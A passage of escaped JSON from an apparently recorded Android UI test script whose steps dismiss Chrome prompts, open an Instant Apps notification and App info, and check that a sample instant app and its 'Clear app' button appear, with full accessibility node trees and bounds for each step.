continue\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.chrome:id/terms_accept\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":121.0,\"y1\":675.0,\"x2\":231.0,\"y2\":700.0}},{\"type\":\"ConditionClickAction\",\"name\":\"Click No thanks button if need\",\"actionId\":\"b60d3684-2ed9-4f9c-b182-f4bb500f6eeb\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.chrome:id/negative_button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"afc5f759-f8a3-470b-827b-8f498db8d6bb\",\"displayText\":\"No thanks\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"a0acaea9-9e3a-4d02-9713-c680858f2592\",\"displayText\":\"No thanks\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.chrome:id/negative_button\",\"text\":\"No thanks\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":662.0,\"x2\":92.5,\"y2\":704.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.75,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"No thanks\"},{\"uuid\":\"ac0b2a13-ed1f-425d-af35-082dab4b7618\",\"displayText\":\"Add account\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.chrome:id/positive_button\",\"text\":\"Add account\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":253.0,\"y1\":662.0,\"x2\":346.0,\"y2\":704.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Add account\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.chrome:id/button_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":648.0,\"x2\":360.0,\"y2\":718.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":50.5,\"y\":682.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":129.5,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"a0acaea9-9e3a-4d02-9713-c680858f2592\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.chrome:id/negative_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":19.0,\"y1\":670.0,\"x2\":82.0,\"y2\":695.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Make sure chrome is launched\",\"actionId\":\"b896a3f9-3d3d-47f6-add9-e71a8e1c4d29\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.chrome:id/url_bar\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"63f07e27-a17e-4394-8e2b-41800cc91877\",\"displayText\":\"source.android.com\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"233abf52-7767-4cea-9baa-42a9ee36d851\",\"displayText\":\"Connection is secure. Site information\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f19314c2-3aed-4c3d-90d4-7597d35bdc04\",\"displayText\":\"Connection is secure. Site information\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.chrome:id/location_bar_status_icon\",\"contentDesc\":\"Connection is secure. Site information\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":50.75,\"y1\":24.5,\"x2\":75.25,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Connection is secure. Site information\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.chrome:id/location_bar_status\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":50.75,\"y1\":24.5,\"x2\":78.75,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Connection is secure. Site information\"},{\"uuid\":\"bfb1fa3e-c94c-419a-a6c7-03836a55dc3f\",\"displayText\":\"source.android.com\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.EditText\",\"resourceId\":\"com.android.chrome:id/url_bar\",\"text\":\"source.android.com\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":78.75,\"y1\":27.25,\"x2\":267.25,\"y2\":70.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":19.5,\"y\":-3.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"source.android.com\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.chrome:id/location_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":42.0,\"y1\":24.5,\"x2\":276.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":153.5,\"y\":52.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":5.5,\"y\":-3.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"bfb1fa3e-c94c-419a-a6c7-03836a55dc3f\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.chrome:id/url_bar\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":71.0,\"y1\":44.0,\"x2\":236.0,\"y2\":60.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ad8fc312-e1f4-48da-a807-9ed0b6c8b5e6\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"eefa0086-ede5-414e-a697-040388fb86e3\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Instant Apps Notification Test\",\"actionId\":\"ac2027a0-fd92-44b4-904a-016e89d04a6a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Instant Apps Notification Test\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Instant Apps\",\"actionId\":\"58df2879-50df-4a02-a7ac-3bdc5a625840\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Instant Apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f08440f1-5a50-4098-8edd-2c3969a5c093\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"08ea76e4-1b02-4038-bc7a-3ce4edb757f1\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.android.systemui:id/backgroundNormal\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":556.0,\"x2\":356.5,\"y2\":690.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"e4025e30-f419-483a-acdc-dea7e1fa8232\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7354c344-2bb9-41bb-8de2-bb29b49282d4\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"14194c11-290a-4ce9-bf40-8b11d81b7c65\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2577300b-584e-4860-9f09-3574a65486bf\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":570.0,\"x2\":31.75,\"y2\":585.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/header_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":570.0,\"x2\":36.0,\"y2\":585.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"d46ab90f-dd68-4b91-b81b-058eeff6ea17\",\"displayText\":\"Instant Apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"Instant Apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":38.75,\"y1\":570.75,\"x2\":98.0,\"y2\":585.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.875,\"y\":0.375,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Instant Apps\"},{\"uuid\":\"b8563b0c-7fb2-4588-bc41-24143e6b048f\",\"displayText\":\"•\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text_divider\",\"text\":\"•\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":101.5,\"y1\":570.75,\"x2\":105.0,\"y2\":585.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"•\"},{\"uuid\":\"fb6ca8d7-4631-40cd-bc14-ad50bc193fc7\",\"displayText\":\"Sample Instant App for Testing running\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text\",\"text\":\"Sample Instant App for Testing running\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":108.5,\"y1\":570.75,\"x2\":290.25,\"y2\":585.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Sample Instant App for Testing running\"},{\"uuid\":\"d6fd1428-652f-4698-a2db-bda4869345d6\",\"displayText\":\"Expand\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/expand_button\",\"contentDesc\":\"Expand\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":311.75,\"y1\":556.75,\"x2\":353.75,\"y2\":598.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Expand\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/notification_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":556.0,\"x2\":356.5,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Instant Apps\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/expanded\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":556.0,\"x2\":356.5,\"y2\":690.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Instant Apps\"},{\"uuid\":\"b0595566-00f2-4a8b-886f-1f5a2ccb1ef0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/fake_shadow\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":556.0,\"x2\":356.5,\"y2\":690.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":556.0,\"x2\":356.5,\"y2\":599.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":67.5,\"y\":577.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":112.5,\"y\":0.375,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d46ab90f-dd68-4b91-b81b-058eeff6ea17\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Instant Apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":34.0,\"y1\":569.0,\"x2\":101.0,\"y2\":586.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Instant Apps\",\"actionId\":\"e17ce462-0957-4138-97ca-52235c25aaed\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Instant Apps\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to App info\",\"actionId\":\"37022be6-ce98-4be9-82c3-7b7987cde34a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"App info\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"71f512b3-cd17-4b5e-875e-ecb84c7df4a7\",\"displayText\":\"App info\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"32eb1597-d627-40f5-8a8e-4645e6153c98\",\"displayText\":\"Go to browser\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/action0\",\"text\":\"Go to browser\",\"contentDesc\":\"Go to browser\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":560.75,\"x2\":110.25,\"y2\":602.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Go to browser\"},{\"uuid\":\"bf937e1e-9a4b-4235-a86d-6a7f23663b15\",\"displayText\":\"App info\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/action0\",\"text\":\"App info\",\"contentDesc\":\"App info\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":113.75,\"y1\":560.75,\"x2\":182.75,\"y2\":602.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.25,\"y\":-1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"App info\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/actions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":555.5,\"x2\":346.0,\"y2\":608.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":151.5,\"y\":583.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":23.25,\"y\":-1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"bf937e1e-9a4b-4235-a86d-6a7f23663b15\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"App info\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":122.0,\"y1\":573.0,\"x2\":181.0,\"y2\":593.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, App info\",\"actionId\":\"d30e138d-1391-4c89-b51c-dd1fd9b7a577\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"App info\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Sample Instant App for Testing exists\",\"actionId\":\"34b311bf-df6f-43b2-881f-af839ba5a0ab\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Sample Instant App for Testing\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e4169270-9c5e-4f72-8986-442473170888\",\"displayText\":\"Sample Instant App for Testing\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"30b2fdcb-12ff-4413-a5d8-dd4e6e6f1afb\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/entity_header_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.75,\"y1\":94.5,\"x2\":200.75,\"y2\":136.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"eec16089-d23d-4171-9da8-1bb12563f840\",\"displayText\":\"Sample Instant App for Testing\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_title\",\"text\":\"Sample Instant App for Testing\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":55.75,\"y1\":143.5,\"x2\":304.0,\"y2\":166.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.375,\"y\":-0.375,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Sample Instant App for Testing\"},{\"uuid\":\"dbb1aa78-b770-4457-9fd3-3ecfdb43a77b\",\"displayText\":\"Instant app\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/install_type\",\"text\":\"Instant app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.0,\"y1\":168.5,\"x2\":210.5,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Instant app\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/entity_header_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":55.75,\"y1\":94.5,\"x2\":304.0,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":178.5,\"y\":155.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":1.375,\"y\":-15.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"eec16089-d23d-4171-9da8-1bb12563f840\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Sample Instant App for Testing\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":48.0,\"y1\":143.0,\"x2\":309.0,\"y2\":168.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if it have \\\"Clear app\\\" button\",\"actionId\":\"b5bd21bf-e715-47b5-aab6-9bc2a79e6e1c\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Clear app\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6dea178b-b8e6-477e-8b56-1f42c53dd77c\",\"displayText\":\"Clear app\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"1c4b2e7d-5c51-465d-84eb-d375509e4f81\",\"displayText\":\"Open\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7603d570-4e90-4124-8ce3-1f800f3f03ce\",\"displayText\":\"Open\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/launch\",\"text\":\"Open\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":199.0,\"x2\":166.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Open\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":199.0,\"x2\":173.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Open\"},{\"uuid\":\"f8106978-ff86-491b-becb-4de7c797f813\",\"displayText\":\"Clear app\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/clear_data\",\"text\":\"Clear app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":180.0,\"y1\":199.0,\"x2\":346.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-7.5,\"y\":-14.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Clear 